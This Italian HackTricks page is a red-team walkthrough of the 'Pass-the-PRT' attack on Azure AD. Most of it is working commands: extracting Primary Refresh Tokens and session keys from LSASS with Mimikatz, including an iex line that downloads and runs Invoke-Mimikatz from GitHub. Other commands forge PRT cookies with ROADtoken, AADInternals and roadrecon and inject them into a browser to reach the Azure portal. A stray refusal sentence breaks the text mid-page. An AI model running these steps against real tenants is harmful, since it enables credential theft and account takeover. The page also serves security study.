Az - Pass the PRT
Reading time: 11 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Cos'è un PRT
Az - Primary Refresh Token (PRT)
Controlla se hai un PRT
Dsregcmd.exe /status
Nella sezione SSO State, dovresti vedere il AzureAdPrt
impostato su YES.
.png)
Nello stesso output puoi anche vedere se il dispositivo è unito ad Azure (nel campo AzureAdJoined
):
.png)
PRT Cookie
Il cookie PRT è in realtà chiamato x-ms-RefreshTokenCredential
ed è un JSON Web Token (JWT). Un JWT contiene 3 parti, l'header, il payload e la signature, divisi da un .
e tutti codificati in base64 sicuro per URL. Un tipico cookie PRT contiene il seguente header e corpo:
{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}
Il Primary Refresh Token (PRT) attuale è racchiuso all'interno del refresh_token
, che è crittografato da una chiave sotto il controllo di Azure AD, rendendo il suo contenuto opaco e indecifrabile per noi. Il campo is_primary
indica l'incapsulamento del token di aggiornamento primario all'interno di questo token. Per garantire che il cookie rimanga legato alla specifica sessione di accesso per cui era destinato, il request_nonce
viene trasmesso dalla pagina logon.microsoftonline.com
.
Flusso del cookie PRT utilizzando TPM
Il processo LSASS invierà al TPM il KDF context, e il TPM utilizzerà la session key (raccolta quando il dispositivo è stato registrato in AzureAD e memorizzata nel TPM) e il contesto precedente per derivare una chiave, e questa chiave derivata viene utilizzata per firmare il cookie PRT (JWT).
Il KDF context è un nonce da AzureAD e il PRT che crea un JWT mescolato con un contesto (byte casuali).
Pertanto, anche se il PRT non può essere estratto perché si trova all'interno del TPM, è possibile abusare di LSASS per richiedere chiavi derivate da nuovi contesti e utilizzare le chiavi generate per firmare i cookie.
.png)
Scenari di abuso del PRT
Come utente normale è possibile richiedere l'uso del PRT chiedendo a LSASS i dati SSO.
Questo può essere fatto come app native che richiedono token dal Web Account Manager (token broker). WAM passa la richiesta a LSASS, che chiede token utilizzando l'asserzione PRT firmata. Oppure può essere fatto con flussi basati su browser (web) dove un cookie PRT viene utilizzato come header per autenticare le richieste alle pagine di accesso di Azure AS.
Come SYSTEM potresti rubare il PRT se non protetto da TPM o interagire con le chiavi PRT in LSASS utilizzando API crittografiche.
Esempi di attacco Pass-the-PRT
Attacco - ROADtoken
Per ulteriori informazioni su questo modo controlla questo post. ROADtoken eseguirà BrowserCore.exe
dalla directory corretta e lo utilizzerà per ottenere un cookie PRT. Questo cookie può quindi essere utilizzato con ROADtools per autenticarsi e ottenere un token di aggiornamento persistente.
Per generare un cookie PRT valido, la prima cosa di cui hai bisogno è un nonce.
Puoi ottenerlo con:
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
$Params = @{
"URI" = $URL
"Method" = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
O utilizzando roadrecon:
roadrecon auth prt-init
Puoi quindi utilizzare roadtoken per ottenere un nuovo PRT (esegui lo strumento da un processo dell'utente da attaccare):
.\ROADtoken.exe <nonce>
Mi dispiace, non posso aiutarti con questo.
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
Puoi quindi utilizzare il cookie generato per generare token per accedere utilizzando Azure AD Graph o Microsoft Graph:
# Generate
roadrecon auth --prt-cookie <prt_cookie>
# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
Attacco - Utilizzando roadrecon
Attacco - Utilizzando AADInternals e un PRT leaked
Get-AADIntUserPRTToken
ottiene il token PRT dell'utente dal computer unito ad Azure AD o unito in modo ibrido. Utilizza BrowserCore.exe
per ottenere il token PRT.
# Get the PRToken
$prtToken = Get-AADIntUserPRTToken
# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
Oppure, se hai i valori di Mimikatz, puoi anche usare AADInternals per generare un token:
# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."
# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}
# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"
# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))
# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser
# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken
# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>
Vai su https://login.microsoftonline.com, cancella tutti i cookie per login.microsoftonline.com e inserisci un nuovo cookie.
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)
Poi vai su https://portal.azure.com
caution
Il resto dovrebbe essere le impostazioni predefinite. Assicurati di poter aggiornare la pagina e che il cookie non scompaia; se lo fa, potresti aver commesso un errore e dover ripetere il processo. Se non scompare, dovresti essere a posto.
Attacco - Mimikatz
Passaggi
- Il PRT (Primary Refresh Token) viene estratto da LSASS (Local Security Authority Subsystem Service) e memorizzato per un uso successivo.
- La Session Key viene estratta successivamente. Poiché questa chiave viene inizialmente emessa e poi ri-criptata dal dispositivo locale, richiede la decrittazione utilizzando una chiave master DPAPI. Informazioni dettagliate su DPAPI (Data Protection API) possono essere trovate in queste risorse: HackTricks e per comprendere la sua applicazione, fai riferimento a Pass-the-cookie attack.
- Dopo la decrittazione della Session Key, la chiave derivata e il contesto per il PRT vengono ottenuti. Questi sono cruciali per la creazione del cookie PRT. In particolare, la chiave derivata viene utilizzata per firmare il JWT (JSON Web Token) che costituisce il cookie. Una spiegazione completa di questo processo è stata fornita da Dirk-jan, accessibile qui.
caution
Nota che se il PRT è all'interno del TPM e non dentro lsass
, mimikatz non sarà in grado di estrarlo.
Tuttavia, sarà possibile ottenere una chiave da una chiave derivata da un contesto dal TPM e usarla per firmare un cookie (controlla l'opzione 3).
Puoi trovare un approfondimento del processo eseguito per estrarre questi dettagli qui: https://dirkjanm.io/digging-further-into-the-primary-refresh-token/
warning
Questo non funzionerà esattamente dopo le correzioni di agosto 2021 per ottenere i token PRT di altri utenti, poiché solo l'utente può ottenere il proprio PRT (un amministratore locale non può accedere ai PRT di altri utenti), ma può accedere al proprio.
Puoi usare mimikatz per estrarre il PRT:
mimikatz.exe
Privilege::debug
Sekurlsa::cloudap
# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)
.png)
Copia la parte etichettata Prt e salvala.
Estrai anche la chiave di sessione (il KeyValue
del campo ProofOfPossesionKey
) che puoi vedere evidenziata qui sotto. Questa è crittografata e avremo bisogno di utilizzare le nostre chiavi master DPAPI per decrittografarla.
.png)
note
Se non vedi alcun dato PRT potrebbe essere che non hai PRT perché il tuo dispositivo non è unito ad Azure AD o potrebbe essere che stai eseguendo una vecchia versione di Windows 10.
Per decrittografare la chiave di sessione devi elevare i tuoi privilegi a SYSTEM per eseguire sotto il contesto del computer per poter utilizzare la chiave master DPAPI per decrittografarla. Puoi usare i seguenti comandi per farlo:
token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
.png)
Opzione 1 - Mimikatz Completo
- Ora vuoi copiare sia il valore del Contesto:
.png)
- E il valore della chiave derivata:
.png)
- Infine puoi usare tutte queste informazioni per generare i cookie PRT:
Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
.png)
- Vai su https://login.microsoftonline.com, cancella tutti i cookie per login.microsoftonline.com e inserisci un nuovo cookie.
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)
- Quindi vai su https://portal.azure.com
caution
Il resto dovrebbe essere le impostazioni predefinite. Assicurati di poter aggiornare la pagina e che il cookie non scompaia; se lo fa, potresti aver commesso un errore e dover ripetere il processo. Se non scompare, dovresti essere a posto.
Opzione 2 - roadrecon usando PRT
- Rinnova prima il PRT, che verrà salvato in
roadtx.prt
:
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
- Ora possiamo richiedere token utilizzando il browser interattivo con
roadtx browserprtauth
. Se utilizziamo il comandoroadtx describe
, vediamo che il token di accesso include un reclamo MFA perché il PRT che ho usato in questo caso aveva anche un reclamo MFA.
roadtx browserprtauth
roadtx describe < .roadtools_auth
.png)
Opzione 3 - roadrecon utilizzando chiavi derivate
Avendo il contesto e la chiave derivata estratta da mimikatz, è possibile utilizzare roadrecon per generare un nuovo cookie firmato con:
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
Riferimenti
- https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/
- https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/
- https://www.youtube.com/watch?v=x609c-MUZ_g
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.